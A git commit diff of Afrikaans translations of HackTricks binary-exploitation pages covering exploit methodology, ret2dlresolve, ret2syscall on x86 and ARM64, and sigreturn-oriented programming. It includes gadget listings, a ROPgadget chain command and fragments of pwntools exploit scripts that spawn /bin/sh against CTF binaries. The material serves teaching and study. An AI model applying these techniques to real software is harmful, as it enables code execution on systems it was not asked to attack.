Translated ['binary-exploitation/basic-binary-exploitation-methodology/R

This commit is contained in:
Translator 2024-04-13 14:16:16 +00:00
parent 62170104ad
commit 1bcd7eb272
7 changed files with 259 additions and 51 deletions

View file

@ -709,7 +709,8 @@
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
* [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
* [Array Indexing](binary-exploitation/array-indexing.md)
* [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md)

View file

@ -36,13 +36,13 @@ Met so baie tegnieke is dit goed om 'n skema te hê wanneer elke tegniek nuttig
Daar is verskillende maniere waarop jy die vloei van 'n program kan beheer:
* [**Stapeloorvloeiings**](../stack-overflow/) deur die terugkeer-aanwysers van die stapel of die EBP -> ESP -> EIP te oorskryf.
* Mag dalk 'n [**Heeltaloorvloeiing**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* [**Stapeloorvloeiings**](../stack-overflow/) deur die terugkeerpunt van die stapel of die EBP -> ESP -> EIP te oorskryf.
* Mag dalk 'n [**Heeltaloorvloeiings**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* Of via **Willekeurige Skrywe + Skryf Wat Waar na Uitvoering**
* [**Formaatreekse**](../format-strings/)**:** Misbruik `printf` om willekeurige inhoud na willekeurige adresse te skryf.
* [**Reeksindeksering**](../array-indexing.md): Misbruik 'n swak ontwerpte indeksering om sekere reekse te beheer en 'n willekeurige skrywe te kry.
* Mag dalk 'n [**Heeltaloorvloeiing**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* **bof na WWW via ROP**: Misbruik 'n bufferoorvloei om 'n ROP te konstrueer en 'n WWW te kry.
* Mag dalk 'n [**Heeltaloorvloeiings**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* **bof na WWW via ROP**: Misbruik 'n bufferoorvloei om 'n ROP te bou en in staat te wees om 'n WWW te kry.
Jy kan die **Skryf Wat Waar na Uitvoering** tegnieke vind in:
@ -54,7 +54,7 @@ Jy kan die **Skryf Wat Waar na Uitvoering** tegnieke vind in:
Iets om in ag te neem is dat gewoonlik **net een uitbuiting van 'n kwesbaarheid dalk nie genoeg wees** om 'n suksesvolle uitbuiting uit te voer nie, veral as sekere beskermings omseil moet word. Daarom is dit interessant om oor sommige opsies te bespreek om 'n enkele kwesbaarheid verskeie kere **uitbuitbaar te maak** in dieselfde uitvoering van die binêre lêer:
* Skryf die adres van die **`main`-funksie** in 'n **ROP**-ketting of na die adres waar die **kwesbaarheid** plaasvind.
* Skryf in 'n **ROP**-ketting die adres van die **`main`-funksie** of na die adres waar die **kwesbaarheid** plaasvind.
* Deur 'n behoorlike ROP-ketting te beheer, kan jy al die aksies in daardie ketting uitvoer
* Skryf die **`exit`-adres in GOT** (of enige ander funksie wat deur die binêre lêer gebruik word voordat dit eindig) die adres om **terug te keer na die kwesbaarheid**
* Soos verduidelik in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** stoor 2 funksies hier, een om die kwesbaarheid weer te roep en 'n ander om**`__libc_csu_fini`** te roep wat weer die funksie van `.fini_array` sal roep.
@ -63,41 +63,41 @@ Iets om in ag te neem is dat gewoonlik **net een uitbuiting van 'n kwesbaarheid
### Doel: Roep 'n Bestaande funksie aan
* [**ret2win**](./#ret2win): Daar is 'n funksie in die kode wat jy moet roep (miskien met sekere spesifieke parameters) om die vlag te kry.
* [**ret2win**](./#ret2win): Daar is 'n funksie in die kode wat jy moet aanroep (miskien met sekere spesifieke parameters) om die vlag te kry.
* In 'n **gewone bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en** [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/) hoef jy net die adres in die terugkeeradres wat in die stapel gestoor is, te skryf.
* In 'n bof met [**PIE**](../common-binary-protections-and-bypasses/pie/), sal jy dit moet omseil
* In 'n bof met [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/), sal jy dit moet omseil
* As jy verskeie parameters moet instel om die **ret2win**-funksie korrek te roep, kan jy gebruik maak van:
* As jy verskeie parameters moet instel om die **ret2win**-funksie korrek aan te roep, kan jy gebruik maak van:
* 'n [**ROP**](./#rop-and-ret2...-techniques) **ketting as daar genoeg gadgets is** om al die parameters voor te berei
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (indien jy hierdie syscall kan roep) om 'n groot aantal register te beheer
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (indien jy hierdie syscall kan aanroep) om 'n groot aantal register te beheer
* Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie register te beheer
* Deur 'n [**Skryf Wat Waar**](../arbitrary-write-2-exec/) te gebruik, kan jy ander kwesbaarhede (nie bof nie) misbruik om die **`win`**-funksie te roep.
* [**Aanwysersomleiding**](../stack-overflow/pointer-redirecting.md): In geval die stapel aanwysers na 'n funksie bevat wat geroep gaan word of na 'n string wat deur 'n interessante funksie gebruik gaan word (stelsel of printf), is dit moontlik om daardie adres te oorskryf.
* Deur 'n [**Skryf Wat Waar**](../arbitrary-write-2-exec/) te gebruik, kan jy ander kwesbaarhede (nie bof nie) misbruik om die **`win`**-funksie aan te roep.
* [**Aanwysers wat omleiding gee**](../stack-overflow/pointer-redirecting.md): In geval die stapel aanwysers bevat na 'n funksie wat aangeroep gaan word of na 'n string wat deur 'n interessante funksie gebruik gaan word (stelsel of printf), is dit moontlik om daardie adres te oorskryf.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse beïnvloed.
* [**Ongeïnisialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit.
### Doel: RCE
#### Via skelkode, indien nx gedeaktiveer of skelkode met ROP gemeng:
#### Via skelkode, as nx gedeaktiveer is of skelkode met ROP gemeng word:
* [**(Stapel) Skelkode**](./#stack-shellcode): Dit is nuttig om 'n skelkode in die stapel te stoor voor of na die oorskrywing van die terugkeer-aanwyser en dan daarna te spring om dit uit te voer:
* [**(Stapel) Skelkode**](./#stack-shellcode): Dit is nuttig om 'n skelkode in die stapel te stoor voor of nadat die terugkeerpunt oorskryf is en dan daarnaar te spring om dit uit te voer:
* **In enige geval, as daar 'n** [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/)** is, in 'n gewone bof sal jy dit moet omseil (leak)**
* **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) is dit moontlik om na die adres van die stapel te spring aangesien dit nooit sal verander nie
* **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) nodig hê om daarheen te spring
* **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/) **moet gebruik om `memprotect` te roep** en 'n paar bladsye `rwx` te maak, sodat jy dan **die skelkode daar kan stoor** (deur byvoorbeeld read te roep) en dan daarheen te spring.
* **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) nodig hê om daarna te spring
* **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/) **moet gebruik om `memprotect` aan te roep** en 'n paar bladsye `rwx` te maak, sodat jy dan **die skelkode daar kan stoor** (deur byvoorbeeld read te roep) en dan daarheen te spring.
* Dit sal skelkode met 'n ROP-ketting meng.
#### Via syscalls
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Nuttig om `execve` te roep om willekeurige bevele uit te voer. Jy moet in staat wees om die **gadgets te vind om die spesifieke syscall met die parameters te roep**.
* As [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) geaktiveer is, sal jy hulle moet oorwin **om ROP gadgets** van die binêre of biblioteke te gebruik.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) kan nuttig wees om die **ret2execve** voor te berei.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) kan nuttig wees om die **ret2execve** voor te berei.
* Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie register te beheer
#### Via libc
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Nuttig om 'n funksie van 'n biblioteek (gewoonlik van **`libc`**) soos **`system`** te roep met voorbereide argumente (bv. `'/bin/sh'`). Jy het die binêre nodig om die biblioteek te **laai met die funksie wat jy wil roep** (gewoonlik libc).
* As **staties saamgestel en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/), sal die **adres** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle staties te gebruik.
* **Sonner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en met kennis van die gelaaide libc weergawe**, sal die **adres** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle staties te gebruik.
* As **staties saamgestel en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/), sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om hulle staties te gebruik.
* **Sondef** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en met kennis van die gelaaide libc weergawe**, sal die **adres** van `system` en `/bin/sh` nie verander nie, so dit is moontlik om hulle staties te gebruik.
* Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **maar geen** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, met kennis van die libc en met die binêre wat die `system`** funksie gebruik, is dit moontlik om **`ret` na die adres van system in die GOT** met die adres van `'/bin/sh'` in die param (jy sal dit moet uitfigure).
* Met [ASLR](../common-binary-protections-and-bypasses/aslr/) maar geen [PIE](../common-binary-protections-and-bypasses/pie/), met kennis van die libc en **sonder die binêre wat die `system`** gebruik:
* Gebruik [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) om die adres van `system` op te los en dit te roep 
@ -110,11 +110,11 @@ Iets om in ag te neem is dat gewoonlik **net een uitbuiting van 'n kwesbaarheid
#### Via EBP/RBP
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Beheer die ESP om RET te beheer deur die gestoorde EBP in die stapel.
* Nuttig vir **off-by-one** stapel oorvloei
* Nuttig as 'n alternatiewe manier om EIP te beheer terwyl EIP misbruik word om die lading in die geheue te konstrueer en dan daarna te spring via EBP
* Nuttig vir **af-een-stapel oorvloei**
* Nuttig as 'n alternatiewe manier om EIP te beheer terwyl EIP misbruik word om die lading in die geheue te konstrueer en dan daarna te spring deur EBP
#### Misc
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In geval die stapel aanwysers na 'n funksie bevat wat geroep gaan word of na 'n string wat deur 'n interessante funksie gebruik gaan word (system of printf), is dit moontlik om daardie adres te oorskryf.
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In geval die stapel verwysings na 'n funksie bevat wat geroep gaan word of na 'n string wat deur 'n interessante funksie gebruik gaan word (system of printf), is dit moontlik om daardie adres te oorskryf.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse affekteer.
* [**Ongeïnisialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit

View file

@ -16,16 +16,16 @@ Ander maniere om HackTricks te ondersteun:
## Basiese Inligting
Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binêre lêers sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) oplos die eerste keer as hulle gebruik word. Hierdie oplossing vind plaas deur die funksie **`_dl_runtime_resolve`** te roep.
Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), sal bineêre lêers sonder Volle Relro simbole (soos adresse na eksterne biblioteke) oplos die eerste keer as hulle gebruik word. Hierdie oplossing vind plaas deur die funksie **`_dl_runtime_resolve`** te roep.
Die **`_dl_runtime_resolve`**-funksie neem vanaf die stok verwysings na sekere strukture wat dit benodig om die gespesifiseerde simbool op te los.
Daarom is dit moontlik om **al hierdie strukture vals te maak** om die dinamies gekoppelde oplossing van die versoekte simbool (soos die **`system`**-funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. **`system('/bin/sh')`**).
Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde oplossing van die versoekte simbool (soos die **`system`**-funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. **`system('/bin/sh')`**).
Gewoonlik word al hierdie strukture vals gemaak deur 'n **aanvanklike ROP-ketting wat `read` aanroep** oor 'n skryfbare geheue, dan word die **strukture** en die string **`'/bin/sh'`** deurgegee sodat hulle deur `read` in 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** te roep, wat die adres van `system` in die valse strukture oplos en hierdie adres roep met die adres na `$'/bin/sh'`.
Gewoonlik word al hierdie strukture vervals deur 'n **aanvanklike ROP-ketting te maak wat `read` aanroep** oor 'n skryfbare geheue, dan die **strukture** en die string **`'/bin/sh'`** word deurgegee sodat hulle deur `read` in 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** te roep, wat die adres van `system` in die valse strukture oplos en hierdie adres roep met die adres na `$'/bin/sh'`.
{% hint style="success" %}
Hierdie tegniek is veral nuttig as daar nie syscall-gadgets is nie (om tegnieke soos [**ret2syscall**](rop-syscall-execv/) of [SROP](srop-sigreturn-oriented-programming.md) te gebruik) en daar is nie maniere om libc-adresse te lek nie.
Hierdie tegniek is veral nuttig as daar nie syscall-gadgets is nie (om tegnieke soos [**ret2syscall**](rop-syscall-execv/) of [SROP](srop-sigreturn-oriented-programming/) te gebruik) en daar is nie maniere om libc-adresse te lek nie.
{% endhint %}
Jy kan 'n beter verduideliking van hierdie tegniek vind in die tweede helfte van die video:
@ -34,14 +34,14 @@ Jy kan 'n beter verduideliking van hierdie tegniek vind in die tweede helfte van
## Strukture
Dit is nodig om 3 strukture vals te maak: **`JMPREL`**, **`STRTAB`** en **`SYMTAB`**. Jy het 'n beter verduideliking van hoe hierdie gebou is in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
Dit is nodig om 3 strukture te vervals: **`JMPREL`**, **`STRTAB`** en **`SYMTAB`**. Jy het 'n beter verduideliking van hoe hierdie gebou is in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Aanvalsopsomming
## Aanval Opsomming
1. Skryf vals strukture op 'n plek
1. Skryf valse strukture op 'n plek
2. Stel die eerste argument van system in (`$rdi = &'/bin/sh'`)
3. Stel op die stok die adresse na die strukture in om **`_dl_runtime_resolve`** te roep
4. Roep **`_dl_runtime_resolve`**
4. Roep **`_dl_runtime_resolve`** aan
5. **`system`** sal opgelos en geroep word met `'/bin/sh'` as argument
## Voorbeeld
@ -182,14 +182,14 @@ target.interactive()
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -16,7 +16,7 @@ Ander maniere om HackTricks te ondersteun:
## Basiese Inligting
Dit is soortgelyk aan Ret2lib, maar in hierdie geval sal ons nie 'n funksie van 'n biblioteek aanroep nie. In hierdie geval sal alles voorberei word om die syscall `sys_execve` te roep met 'n paar argumente om `/bin/sh` uit te voer. Hierdie tegniek word gewoonlik uitgevoer op bineêre lêers wat staties saamgestel is, sodat daar baie gadgets en syscall-instruksies kan wees.
Dit is soortgelyk aan Ret2lib, maar in hierdie geval sal ons nie 'n funksie van 'n biblioteek aanroep nie. In hierdie geval sal alles voorberei word om die syscall `sys_execve` aan te roep met 'n paar argumente om `/bin/sh` uit te voer. Hierdie tegniek word gewoonlik uitgevoer op bineêre lêers wat staties saamgestel is, sodat daar baie gadgets en syscall-instruksies kan wees.
Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie nodig:
@ -25,10 +25,10 @@ Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie no
* `rsi: 0 spesifiseer geen argumente wat oorgedra word nie`
* `rdx: 0 spesifiseer geen omgewingsveranderlikes wat oorgedra word nie`
Dus, basies is dit nodig om die string `/bin/sh` êrens te skryf en dan die `syscall` uit te voer (met bewustheid van die vulsel wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om `/bin/sh` in 'n bekende area te skryf.
Dus, dit is basies nodig om die string `/bin/sh` êrens te skryf en dan die `syscall` uit te voer (met bewustheid van die vulsel wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om `/bin/sh` in 'n bekende area te skryf.
{% hint style="success" %}
'n Ander interessante syscall om te roep is **`mprotect`** wat 'n aanvaller in staat sou stel om **die toestemmings van 'n bladsy in geheue te wysig**. Dit kan gekombineer word met [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
'n Ander interessante syscall om aan te roep is **`mprotect`** wat 'n aanvaller in staat sou stel om **die toestemmings van 'n bladsy in geheue te wysig**. Dit kan gekombineer word met [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
## Registreer gadgets
@ -69,8 +69,6 @@ Die volgende bevel skep 'n volledige `sys_execve` ROP-ketting vir 'n statiese bi
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
#### 32 bits
```python
'''
@ -111,10 +109,10 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Ontbrekende Toestelle
Indien jy **ontbreek aan toestelle**, byvoorbeeld om `/bin/sh` in die geheue te skryf, kan jy die **SROP-tegniek gebruik om al die registerwaardes** (insluitend RIP en params registers) vanaf die stok te beheer:
Indien jy **ontbreek aan toestelle**, byvoorbeeld om `/bin/sh` in die geheue te skryf, kan jy die **SROP-tegniek gebruik om al die registerwaardes** (insluitend RIP en params register) vanaf die stok te beheer:
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
```python
from pwn import *
@ -187,6 +185,6 @@ target.interactive()
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64-bits, geen PIE, nx, skryf 'n ROP na `execve` in 'n sekere geheue en spring daarheen.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64-bits, nx, geen PIE, skryf 'n ROP na `execve` in 'n sekere geheue en spring daarheen. Om na die stapel te skryf, word 'n funksie wat wiskundige operasies uitvoer, misbruik.
* 64-bits, nx, geen PIE, skryf 'n ROP na `execve` in 'n sekere geheue en spring daarheen. Om na die stapel te skryf, word 'n funksie wat wiskundige bewerkings uitvoer, misbruik.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64-bits, geen PIE, nx, BF kanarie, skryf 'n ROP na `execve` in 'n sekere geheue en spring daarheen.

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -53,12 +53,12 @@ clang -o ret2win ret2win.c -fno-stack-protector
Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie nodig:
- `x8: 221 Spesifiseer sys_execve`
- `x0: ptr na "/bin/sh" spesifiseer lêer om uit te voer`
- `x1: 0 spesifiseer geen argumente wat oorgedra word nie`
- `x2: 0 spesifiseer geen omgewingsveranderlikes wat oorgedra word nie`
* `x8: 221 Spesifiseer sys_execve`
* `x0: ptr na "/bin/sh" spesifiseer lêer om uit te voer`
* `x1: 0 spesifiseer geen argumente wat oorgedra word nie`
* `x2: 0 spesifiseer geen omgewingsveranderlikes wat oorgedra word nie`
Deur ROPgadget.py te gebruik, kon ek die volgende toestelle opspoor:
Deur ROPgadget.py te gebruik, kon ek die volgende toestelle in die libc-biblioteek van die masjien opspoor:
{% code overflow="wrap" %}
```armasm
@ -79,9 +79,13 @@ svc #0
```
{% endcode %}
Met die vorige gadgets kan ons al die nodige registers van die stapel beheer en x5 gebruik om na die tweede gadget te spring om die syscall te roep.
Met die vorige gadgets kan ons al die nodige registers vanaf die stok beheer en x5 gebruik om na die tweede gadget te spring om die syscall te roep.
### Uitbuiting
{% hint style="success" %}
Let daarop dat om hierdie inligting van die libc-biblioteek te weet, dit ook 'n ret2libc-aanval moontlik maak, maar laat ons dit vir hierdie huidige voorbeeld gebruik.
{% endhint %}
### Exploit
```python
from pwn import *
@ -136,7 +140,7 @@ p.interactive()
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -0,0 +1,148 @@
# SROP - Sigreturn-Oriented Programming
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Basiese Inligting
**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhanterer sy uitvoering voltooi het. Signale is onderbrekings wat deur die bedryfstelsel na 'n program gestuur word, dikwels om aan te dui dat 'n buitengewone situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, onderbreek dit tydelik sy huidige werk om die sein met 'n **seinhanterer** te hanteer, 'n spesiale funksie wat ontwerp is om met seine om te gaan.
Nadat die seinhanterer klaar is, moet die program sy vorige toestand **hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die prentjie kom. Dit help die program om **terug te keer van die seinhanterer** en herstel die program se toestand deur die stapelraamwerk (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhanterer gebruik is, skoon te maak.
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **al die CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer word nie, **haal `sigreturn` hierdie waardes van die stapel af**, wat die CPU se register effektief herstel na hul toestand voordat die sein hanteer is. Dit sluit die stapelwysigerregister (RSP) in, wat na die huidige boonste gedeelte van die stapel wys.
{% hint style="danger" %}
Om die syscall **`sigreturn`** vanaf 'n ROP-ketting te roep en **die registerwaardes by te voeg** wat ons wil hê dit in die **stapel** moet laai, is dit moontlik om al die registerwaardes te **beheer** en dus byvoorbeeld die syscall `execve` met `/bin/sh` te **roep**.
{% endhint %}
Let daarop dat hierdie 'n **tipe Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls te roep:
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
As jy nuuskierig is, hierdie is die **sigcontext-struktuur** wat op die stapel gestoor word om die waardes later te herstel (diagram van [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
```
Vir 'n beter verduideliking, kyk ook:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Voorbeeld
Jy kan 'n voorbeeld [**hier vind**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) waar die oproep na signeturn opgebou word via ROP (met die waarde `0xf` in rxa), alhoewel dit die finale aanval van daar af is:
```python
from pwn import *
